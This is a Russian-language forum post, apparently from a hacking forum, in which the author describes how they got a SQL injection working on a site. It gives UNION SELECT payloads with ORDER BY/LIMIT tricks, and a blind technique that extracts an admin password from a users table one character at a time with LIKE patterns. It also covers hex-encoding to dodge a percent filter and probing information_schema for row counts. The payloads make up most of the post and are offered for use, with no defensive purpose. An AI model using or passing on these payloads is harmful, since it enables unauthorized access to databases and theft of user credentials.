Получилось раскрутить.
Часть 1:
Мы используем запрос такого синтаксиса:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT count[/COLOR][COLOR="#007700"](*) AS[/COLOR][COLOR="#0000BB"]total FROM dpt_os WHERE status[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]AND[/COLOR][COLOR="#0000BB"]ID[/COLOR][COLOR="#007700"]= -[/COLOR][COLOR="#0000BB"]165 UNION SELECT 222[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]total FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]test[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]ORDER BY total DESC LIMIT 1
[/COLOR][/COLOR]
И из-за Order-by значение 222 становится первым, а второе обрезается лимитом.
-165 - Заведомо несуществующее значение.
Часть 2:
Мы начинаем крутить инъекцию:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT count[/COLOR][COLOR="#007700"](*) AS[/COLOR][COLOR="#0000BB"]total FROM dpt_os WHERE status[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]AND[/COLOR][COLOR="#0000BB"]ID[/COLOR][COLOR="#007700"]= -[/COLOR][COLOR="#0000BB"]165 UNION SELECT 1[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]total FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]WHERE[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]login[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]like[/COLOR][COLOR="#DD0000"]'admin'[/COLOR][COLOR="#007700"]and `[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]like[/COLOR][COLOR="#DD0000"]'1%'[/COLOR][COLOR="#0000BB"]ORDER BY total DESC LIMIT 1
[/COLOR][/COLOR]
И таким образом, если первый символ пароля
1, запрос возвратит 1, иначе ничего и мы спокойно крутим инъекцию. Желательно использовать POST/Куки, заместо ORDER BY можно использовать LIMIT 1, 2. Запятые в запросе тоже не используются.
Из-за фильтрации процента, мы переводим
'1%' в 0x3125 используя HEX. Онлайн-конвертер: http://home.paulschou.net/tools/xlate/
UDP:
Так-же мы можем подбирать длину - LIKE '_%'. Кол-во записей в таблице можно получить используя:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT TABLE_ROWS FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]information_schema[/COLOR][COLOR="#007700"]`.`[/COLOR][COLOR="#DD0000"]TABLES[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]WHERE TABLE_NAME LIKE[/COLOR][COLOR="#DD0000"]'admin'[/COLOR][/COLOR]
Если доступа к information_schema нет, мы можем использовать LIMIT. REGEXP Тоже может помочь.